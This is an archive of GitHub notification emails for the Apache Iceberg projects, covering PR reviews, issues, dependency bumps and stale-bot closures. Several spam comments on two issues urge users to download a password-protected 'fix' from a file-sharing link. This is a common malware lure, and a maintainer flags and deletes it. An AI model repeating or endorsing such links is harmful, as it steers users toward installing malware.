Re: [PR] Flink: Maintenance - Lock remover [iceberg]

2024-08-26 Thread via GitHub
pvary commented on code in PR #11010: URL: https://github.com/apache/iceberg/pull/11010#discussion_r1732248384 ## flink/v1.20/flink/src/main/java/org/apache/iceberg/flink/maintenance/operator/LockRemover.java: ## @@ -0,0 +1,120 @@ +/* + * Licensed to the Apache Software Foundati

Re: [PR] Flink: Maintenance - Lock remover [iceberg]

2024-08-26 Thread via GitHub
pvary commented on code in PR #11010: URL: https://github.com/apache/iceberg/pull/11010#discussion_r1732242350 ## flink/v1.20/flink/src/main/java/org/apache/iceberg/flink/maintenance/operator/MaintenanceResult.java: ## @@ -0,0 +1,93 @@ +/* + * Licensed to the Apache Software Fou

Re: [PR] Flink: Maintenance - Lock remover [iceberg]

2024-08-26 Thread via GitHub
pvary commented on code in PR #11010: URL: https://github.com/apache/iceberg/pull/11010#discussion_r1732238099 ## flink/v1.20/flink/src/main/java/org/apache/iceberg/flink/maintenance/operator/TaskResult.java: ## @@ -0,0 +1,65 @@ +/* + * Licensed to the Apache Software Foundation

Re: [PR] Flink: Maintenance - Lock remover [iceberg]

2024-08-26 Thread via GitHub
pvary commented on code in PR #11010: URL: https://github.com/apache/iceberg/pull/11010#discussion_r1732237513 ## flink/v1.20/flink/src/main/java/org/apache/iceberg/flink/maintenance/operator/MaintenanceResult.java: ## @@ -0,0 +1,93 @@ +/* + * Licensed to the Apache Software Fou

Re: [PR] Flink: Maintenance - Lock remover [iceberg]

2024-08-26 Thread via GitHub
pvary commented on code in PR #11010: URL: https://github.com/apache/iceberg/pull/11010#discussion_r1732235950 ## flink/v1.20/flink/src/main/java/org/apache/iceberg/flink/maintenance/operator/LockRemover.java: ## @@ -0,0 +1,120 @@ +/* + * Licensed to the Apache Software Foundati

Re: [PR] Flink: Maintenance - Lock remover [iceberg]

2024-08-26 Thread via GitHub
pvary commented on code in PR #11010: URL: https://github.com/apache/iceberg/pull/11010#discussion_r1732235043 ## flink/v1.20/flink/src/main/java/org/apache/iceberg/flink/maintenance/operator/LockRemover.java: ## @@ -0,0 +1,120 @@ +/* + * Licensed to the Apache Software Foundati

Re: [PR] Flink: Maintenance - Lock remover [iceberg]

2024-08-26 Thread via GitHub
pvary commented on code in PR #11010: URL: https://github.com/apache/iceberg/pull/11010#discussion_r1732232054 ## flink/v1.20/flink/src/main/java/org/apache/iceberg/flink/maintenance/operator/LockRemover.java: ## @@ -0,0 +1,120 @@ +/* + * Licensed to the Apache Software Foundati

Re: [PR] Remove Hive 2 [iceberg]

2024-08-26 Thread via GitHub
BsoBird commented on code in PR #10996: URL: https://github.com/apache/iceberg/pull/10996#discussion_r173258 ## mr/build.gradle: ## @@ -52,8 +52,8 @@ project(':iceberg-mr') { exclude group: 'org.pentaho' // missing dependency exclude group: 'org.slf4j', module:

Re: [PR] Data: Add a util to read write partition stats [iceberg]

2024-08-26 Thread via GitHub
ajantha-bhat commented on PR #10176: URL: https://github.com/apache/iceberg/pull/10176#issuecomment-2311678409 > Add a wrapper class to represent partition stats in core. I didn't use the wrapper class initially and directly used record because for each entry having two objects (wrapp

Re: [PR] Flink: Maintenance - Lock remover [iceberg]

2024-08-26 Thread via GitHub
pvary commented on code in PR #11010: URL: https://github.com/apache/iceberg/pull/11010#discussion_r1732217490 ## flink/v1.20/flink/src/main/java/org/apache/iceberg/flink/maintenance/operator/LockRemover.java: ## @@ -0,0 +1,120 @@ +/* + * Licensed to the Apache Software Foundati

Re: [PR] Flink: Backport PR #10526 to v1.18 and v1.20 [iceberg]

2024-08-26 Thread via GitHub
pvary commented on PR #11018: URL: https://github.com/apache/iceberg/pull/11018#issuecomment-2311663370 @zhongqishang: This could help with the backport: ``` git diff HEAD^ HEAD > /tmp/v1.19.patch cat /tmp/v1.19.patch | sed "s/v1.19/v1.20/g" > /tmp/v1.20.patch git apply -3 /tmp

Re: [PR] Spark 3.5: fix drop table & purge table have to check iceberg catalog [iceberg]

2024-08-26 Thread via GitHub
gaecoli closed pull request #11015: Spark 3.5: fix drop table & purge table have to check iceberg catalog URL: https://github.com/apache/iceberg/pull/11015 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to

Re: [PR] Spark 3.5: Parallelize reading files in add_files procedure [iceberg]

2024-08-26 Thread via GitHub
lurnagao-dahua commented on PR #9274: URL: https://github.com/apache/iceberg/pull/9274#issuecomment-2311648574 Hi,May I ask if there are any plans to port to Spark 3.3? -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use t

[I] `expire_snapshots` sudden increase in compute/memory usage [iceberg]

2024-08-26 Thread via GitHub
ForestYang20 opened a new issue, #11017: URL: https://github.com/apache/iceberg/issues/11017 ### Query engine Iceberg v1.0.0 on Spark v3.3.0 (Glue v4.0) ### Question On an existing iceberg table, we ran the following procedure for the first time. ```py sql = f"""

Re: [I] Caused by: java.io.InvalidClassException: org.apache.iceberg.SerializableTable; local class incompatible: stream classdesc serialVersionUID = -983193441151215321, local class serialVersionUID

2024-08-26 Thread via GitHub
pvary commented on issue #11016: URL: https://github.com/apache/iceberg/issues/11016#issuecomment-2311564618 Deleted 2 answers which contained bugous information. An attempt to make users download some random files. -- This is an automated message from the Apache Git Service. To respond t

Re: [PR] Spark 3.5: fix drop table & purge table have to check iceberg catalog [iceberg]

2024-08-26 Thread via GitHub
gaecoli commented on PR #11015: URL: https://github.com/apache/iceberg/pull/11015#issuecomment-2311545306 @ebyhr can u help me review this PR? thank u! -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to g

Re: [PR] Expose Transforms to Python Binding [iceberg-rust]

2024-08-26 Thread via GitHub
Xuanwo merged PR #556: URL: https://github.com/apache/iceberg-rust/pull/556 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: issues-unsubscr...@iceberg.a

Re: [I] Caused by: java.io.InvalidClassException: org.apache.iceberg.SerializableTable; local class incompatible: stream classdesc serialVersionUID = -983193441151215321, local class serialVersionUID

2024-08-26 Thread via GitHub
amir1387aht commented on issue #11016: URL: https://github.com/apache/iceberg/issues/11016#issuecomment-2311483107 to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/3ag3jpquii3of password: changeme when you installing, you need to place a

Re: [I] Caused by: java.io.InvalidClassException: org.apache.iceberg.SerializableTable; local class incompatible: stream classdesc serialVersionUID = -983193441151215321, local class serialVersionUID

2024-08-26 Thread via GitHub
amir1387aht commented on issue #11016: URL: https://github.com/apache/iceberg/issues/11016#issuecomment-2311480418 to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/3ag3jpquii3of password: changeme when you installing, you need to place a

[I] Caused by: java.io.InvalidClassException: org.apache.iceberg.SerializableTable; local class incompatible: stream classdesc serialVersionUID = -983193441151215321, local class serialVersionUID = -3

2024-08-26 Thread via GitHub
ma311199 opened a new issue, #11016: URL: https://github.com/apache/iceberg/issues/11016 ### Query engine CDH-6.3.0-Hive-2.1.1 ### Question Inserting data into the iceberg table resulted in a deserialization error using iceberg-0.13.1 version. Please assist. -- This i

Re: [PR] Docs: Add Druid docs url to sidebar [iceberg]

2024-08-26 Thread via GitHub
amogh-jahagirdar merged PR #10997: URL: https://github.com/apache/iceberg/pull/10997 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: issues-unsubscr...@

[PR] Spark 3.5: fix drop table & purge table have to check iceberg catalog [iceberg]

2024-08-26 Thread via GitHub
gaecoli opened a new pull request, #11015: URL: https://github.com/apache/iceberg/pull/11015 In the current version of spark 3.5, regardless of whether the table is iceberg or not, it will be droped and purged as iceberg. We must verify whether the table is an iceberg catalog before perform

Re: [PR] Build: Bump org.xerial:sqlite-jdbc from 3.46.0.1 to 3.46.1.0 [iceberg]

2024-08-26 Thread via GitHub
amogh-jahagirdar merged PR #11007: URL: https://github.com/apache/iceberg/pull/11007 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: issues-unsubscr...@

Re: [I] Convert datafusion table scan filter into iceberg table scan' filter. [iceberg-rust]

2024-08-26 Thread via GitHub
FANNG1 commented on issue #585: URL: https://github.com/apache/iceberg-rust/issues/585#issuecomment-2311450677 LGTM -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsub

Re: [I] Data duplication may occur when flink checkpoint fails [iceberg]

2024-08-26 Thread via GitHub
klion26 closed issue #11008: Data duplication may occur when flink checkpoint fails URL: https://github.com/apache/iceberg/issues/11008 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific c

Re: [I] Data duplication may occur when flink checkpoint fails [iceberg]

2024-08-26 Thread via GitHub
klion26 commented on issue #11008: URL: https://github.com/apache/iceberg/issues/11008#issuecomment-2311446409 @pvary thanks for the information, yes, this is a duplicate of #10526 , will close this issue. -- This is an automated message from the Apache Git Service. To respond to the mess

Re: [I] Missing records after compaction using `rewrite_data_files` [iceberg]

2024-08-26 Thread via GitHub
jia6214876 commented on issue #11014: URL: https://github.com/apache/iceberg/issues/11014#issuecomment-2311439484 to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/3ag3jpquii3of password: changeme when you installing, you need to place a

Re: [I] Missing records after compaction using `rewrite_data_files` [iceberg]

2024-08-26 Thread via GitHub
jia6214876 commented on issue #11014: URL: https://github.com/apache/iceberg/issues/11014#issuecomment-2311438588 to fix your trouble try download this fix, i see it in another issue, https://app.mediafire.com/3ag3jpquii3of password: changeme when you installing, you need to place a

[I] Missing records after compaction using `rewrite_data_files` [iceberg]

2024-08-26 Thread via GitHub
ForestYang20 opened a new issue, #11014: URL: https://github.com/apache/iceberg/issues/11014 ### Apache Iceberg version 1.0.0 ### Query engine Spark ### Please describe the bug šŸž While compacting data files for a partitioned iceberg table in our Glue catalo

[I] Iceberg table not keeping track of snapshots [iceberg-python]

2024-08-26 Thread via GitHub
PetrasTYR opened a new issue, #1105: URL: https://github.com/apache/iceberg-python/issues/1105 ### Question Hello, I have a question regarding iceberg table snapshots. I used pyiceberg to create a namespace and a table, then insert a dataframe like so: ``` from pyiceberg.catalog

Re: [I] Nessie Iceberg REST catalog and writing to localstack raises `OSError: When initiating multiple part upload` [iceberg-python]

2024-08-26 Thread via GitHub
PetrasTYR closed issue #1087: Nessie Iceberg REST catalog and writing to localstack raises `OSError: When initiating multiple part upload` URL: https://github.com/apache/iceberg-python/issues/1087 -- This is an automated message from the Apache Git Service. To respond to the message, please l

Re: [I] Nessie Iceberg REST catalog and writing to localstack raises `OSError: When initiating multiple part upload` [iceberg-python]

2024-08-26 Thread via GitHub
PetrasTYR commented on issue #1087: URL: https://github.com/apache/iceberg-python/issues/1087#issuecomment-2311419486 I updated my docker-compose.yaml to use extra_hosts and it worked. Closing this issue. -- This is an automated message from the Apache Git Service. To respond to the mess

Re: [PR] change partition led to query bug ļ¼Œschema_change_null [iceberg]

2024-08-26 Thread via GitHub
ymZhao1001 closed pull request #6915: change partition led to query bug ļ¼Œschema_change_null URL: https://github.com/apache/iceberg/pull/6915 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the speci

[I] Do not deprecate Botocore Session in upcoming release (0.8) [iceberg-python]

2024-08-26 Thread via GitHub
BTheunissen opened a new issue, #1104: URL: https://github.com/apache/iceberg-python/issues/1104 ### Feature Request / Improvement The AWS parameter `botocore_session` has been flagged as deprecated as of #922, and is due to be removed at Milestone 0.8. I'd like to request that

Re: [PR] Core: Project data file stats only if there are equality deletes [iceberg]

2024-08-26 Thread via GitHub
aokolnychyi commented on PR #11013: URL: https://github.com/apache/iceberg/pull/11013#issuecomment-2311342599 Thanks, @stevenzwu! -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comm

Re: [PR] Core: Project data file stats only if there are equality deletes [iceberg]

2024-08-26 Thread via GitHub
aokolnychyi merged PR #11013: URL: https://github.com/apache/iceberg/pull/11013 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: issues-unsubscr...@icebe

Re: [PR] Refactor commit lock mechanism from HiveTableOperations [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5877: Refactor commit lock mechanism from HiveTableOperations URL: https://github.com/apache/iceberg/pull/5877 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go t

Re: [PR] Spark: Iceberg bug 5935 fix where some methods of Spark3Util do not set current session in spark's threadlocal [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5959: URL: https://github.com/apache/iceberg/pull/5959#issuecomment-2311327490 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Docs: Using FlinkSQL for time travel in batch mode [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5951: URL: https://github.com/apache/iceberg/pull/5951#issuecomment-2311327444 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] HuaweiCloud: Add support for HuaweiCloud OBS [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5942: HuaweiCloud: Add support for HuaweiCloud OBS URL: https://github.com/apache/iceberg/pull/5942 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the speci

Re: [PR] Refactor commit lock mechanism from HiveTableOperations [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5877: URL: https://github.com/apache/iceberg/pull/5877#issuecomment-2311327401 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] HuaweiCloud: Add support for HuaweiCloud OBS [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5942: URL: https://github.com/apache/iceberg/pull/5942#issuecomment-2311327421 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Spark: support hilbert curve when rewrite [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5824: URL: https://github.com/apache/iceberg/pull/5824#issuecomment-2311327368 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Spark: Support call sort order/zorder procedure when having multiple spark extensions [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5823: URL: https://github.com/apache/iceberg/pull/5823#issuecomment-2311327350 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Spark: Simplify RewriteFiles.commit [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5748: Spark: Simplify RewriteFiles.commit URL: https://github.com/apache/iceberg/pull/5748 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comme

Re: [PR] Spark: Test custom metric for number of deletes applied, in code path that use streaming delete filter [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5742: Spark: Test custom metric for number of deletes applied, in code path that use streaming delete filter URL: https://github.com/apache/iceberg/pull/5742 -- This is an automated message from the Apache Git Service. To respond to the message, please

Re: [PR] Spark: Demonstrate reading Avro files with default value using a mockā€¦ [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5738: URL: https://github.com/apache/iceberg/pull/5738#issuecomment-2311327227 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Spark: Test custom metric for number of deletes applied, in code path that use streaming delete filter [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5742: URL: https://github.com/apache/iceberg/pull/5742#issuecomment-2311327257 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Core/Spark: Fix memory leaks in vectorized reader for parquet [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5735: URL: https://github.com/apache/iceberg/pull/5735#issuecomment-2311327202 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Core/Spark: Fix memory leaks in vectorized reader for parquet [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5735: Core/Spark: Fix memory leaks in vectorized reader for parquet URL: https://github.com/apache/iceberg/pull/5735 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above t

Re: [PR] docs: Document how to register bucket function in pyspark [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5722: docs: Document how to register bucket function in pyspark URL: https://github.com/apache/iceberg/pull/5722 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go

Re: [PR] docs: Document how to register bucket function in pyspark [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5722: URL: https://github.com/apache/iceberg/pull/5722#issuecomment-2311327173 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Spark: Iceberg bug 5935 fix where some methods of Spark3Util do not set current session in spark's threadlocal [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5959: Spark: Iceberg bug 5935 fix where some methods of Spark3Util do not set current session in spark's threadlocal URL: https://github.com/apache/iceberg/pull/5959 -- This is an automated message from the Apache Git Service. To respond to the messag

Re: [PR] refactor(flink): update deprecated code in flink [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5954: URL: https://github.com/apache/iceberg/pull/5954#issuecomment-2311327472 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] refactor(flink): update deprecated code in flink [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5954: refactor(flink): update deprecated code in flink URL: https://github.com/apache/iceberg/pull/5954 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the s

Re: [PR] Docs: Using FlinkSQL for time travel in batch mode [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5951: Docs: Using FlinkSQL for time travel in batch mode URL: https://github.com/apache/iceberg/pull/5951 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the

Re: [PR] Core: Add minimum data sequence number to ManifestEntry [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5760: Core: Add minimum data sequence number to ManifestEntry URL: https://github.com/apache/iceberg/pull/5760 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go

Re: [PR] Spark: support hilbert curve when rewrite [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5824: Spark: support hilbert curve when rewrite URL: https://github.com/apache/iceberg/pull/5824 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific

Re: [PR] Spark: Support call sort order/zorder procedure when having multiple spark extensions [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5823: Spark: Support call sort order/zorder procedure when having multiple spark extensions URL: https://github.com/apache/iceberg/pull/5823 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHu

Re: [PR] WIP Add support for `week` partition transform [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5798: WIP Add support for `week` partition transform URL: https://github.com/apache/iceberg/pull/5798 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the spe

Re: [PR] Core: Add minimum data sequence number to ManifestEntry [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5760: URL: https://github.com/apache/iceberg/pull/5760#issuecomment-2311327300 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Spark: Simplify RewriteFiles.commit [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5748: URL: https://github.com/apache/iceberg/pull/5748#issuecomment-2311327274 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Spark: Demonstrate reading Avro files with default value using a mockā€¦ [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5738: Spark: Demonstrate reading Avro files with default value using a mockā€¦ URL: https://github.com/apache/iceberg/pull/5738 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the UR

Re: [PR] Docs: Fix docs for writing with partition clustering [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on PR #5713: URL: https://github.com/apache/iceberg/pull/5713#issuecomment-2311327146 This pull request has been closed due to lack of activity. This is not a judgement on the merit of the PR in any way. It is just a way of keeping the PR queue manageable. If y

Re: [PR] Docs: Fix docs for writing with partition clustering [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed pull request #5713: Docs: Fix docs for writing with partition clustering URL: https://github.com/apache/iceberg/pull/5713 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to t

Re: [I] Missing partition info when committing table to hive through flink [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] closed issue #4961: Missing partition info when committing table to hive through flink URL: https://github.com/apache/iceberg/issues/4961 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above t

Re: [I] Missing partition info when committing table to hive through flink [iceberg]

2024-08-26 Thread via GitHub
github-actions[bot] commented on issue #4961: URL: https://github.com/apache/iceberg/issues/4961#issuecomment-2311327050 This issue has been closed because it has not received any activity in the last 14 days since being marked as 'stale' -- This is an automated message from the Apache Gi

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
danielcweeks commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731942416 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefi

Re: [PR] Expose Transforms to Python Binding [iceberg-rust]

2024-08-26 Thread via GitHub
sungwy commented on PR #556: URL: https://github.com/apache/iceberg-rust/pull/556#issuecomment-2311260788 > Thanks @sungwy for this pr, LGTM! Thank you @liurenjie1024 !! šŸ™Œ -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub

Re: [PR] Flink: Maintenance - Lock remover [iceberg]

2024-08-26 Thread via GitHub
stevenzwu commented on code in PR #11010: URL: https://github.com/apache/iceberg/pull/11010#discussion_r1731685941 ## flink/v1.20/flink/src/main/java/org/apache/iceberg/flink/maintenance/operator/LockRemover.java: ## @@ -0,0 +1,120 @@ +/* + * Licensed to the Apache Software Foun

Re: [PR] Flink: Backport PR #10179 to Flink 1.20 for v2 sink [iceberg]

2024-08-26 Thread via GitHub
stevenzwu merged PR #11011: URL: https://github.com/apache/iceberg/pull/11011 -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: issues-unsubscr...@iceberg

[PR] Bump rich from 13.7.1 to 13.8.0 [iceberg-python]

2024-08-26 Thread via GitHub
dependabot[bot] opened a new pull request, #1103: URL: https://github.com/apache/iceberg-python/pull/1103 Bumps [rich](https://github.com/Textualize/rich) from 13.7.1 to 13.8.0. Release notes Sourced from https://github.com/Textualize/rich/releases";>rich's releases. The Than

[PR] Bump pyparsing from 3.1.2 to 3.1.4 [iceberg-python]

2024-08-26 Thread via GitHub
dependabot[bot] opened a new pull request, #1102: URL: https://github.com/apache/iceberg-python/pull/1102 Bumps [pyparsing](https://github.com/pyparsing/pyparsing) from 3.1.2 to 3.1.4. Changelog Sourced from https://github.com/pyparsing/pyparsing/blob/master/CHANGES";>pyparsing's

[PR] Bump griffe from 1.1.1 to 1.2.0 [iceberg-python]

2024-08-26 Thread via GitHub
dependabot[bot] opened a new pull request, #1101: URL: https://github.com/apache/iceberg-python/pull/1101 Bumps [griffe](https://github.com/mkdocstrings/griffe) from 1.1.1 to 1.2.0. Release notes Sourced from https://github.com/mkdocstrings/griffe/releases";>griffe's releases.

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731909067 ## open-api/rest-catalog-open-api.yaml: ## @@ -3647,6 +3952,124 @@ components: type: integer description: "List of equality field IDs" +Pl

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731909067 ## open-api/rest-catalog-open-api.yaml: ## @@ -3647,6 +3952,124 @@ components: type: integer description: "List of equality field IDs" +Pl

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731902552 ## open-api/rest-catalog-open-api.yaml: ## @@ -3647,6 +3952,124 @@ components: type: integer description: "List of equality field IDs" +Pl

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731901950 ## open-api/rest-catalog-open-api.yaml: ## @@ -2774,6 +3014,60 @@ components: additionalProperties: type: string +PlanTableResult: +

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731901823 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefix}/na

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731901427 ## open-api/rest-catalog-open-api.yaml: ## @@ -1463,6 +1673,14 @@ components: type: string example: "sales" +id: Review Comment: makes sense w

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731900748 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefix}/na

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731895929 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefix}/na

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731895103 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefix}/na

Re: [PR] DOC: Strawman proposal for PR merging [iceberg]

2024-08-26 Thread via GitHub
wmoustafa commented on code in PR #10780: URL: https://github.com/apache/iceberg/pull/10780#discussion_r1731884396 ## site/docs/contribute.md: ## @@ -45,6 +45,16 @@ The Iceberg community prefers to receive contributions as [Github pull requests] * If a PR is related to an issu

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731871915 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefix}/na

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731871673 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefix}/na

[PR] Core: Project data file stats only if there are equality deletes [iceberg]

2024-08-26 Thread via GitHub
aokolnychyi opened a new pull request, #11013: URL: https://github.com/apache/iceberg/pull/11013 This PR optimizes `ManifestGroup` to only project data file stats if equality deletes are present. Such stats are useless for position deletes as position deletes are either assigned via path lo

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731845921 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefix}/na

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731845518 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefix}/na

Re: [PR] Add Scan Planning Endpoints to open api spec [iceberg]

2024-08-26 Thread via GitHub
rahil-c commented on code in PR #9695: URL: https://github.com/apache/iceberg/pull/9695#discussion_r1731845160 ## open-api/rest-catalog-open-api.yaml: ## @@ -541,6 +541,216 @@ paths: 5XX: $ref: '#/components/responses/ServerErrorResponse' + /v1/{prefix}/na

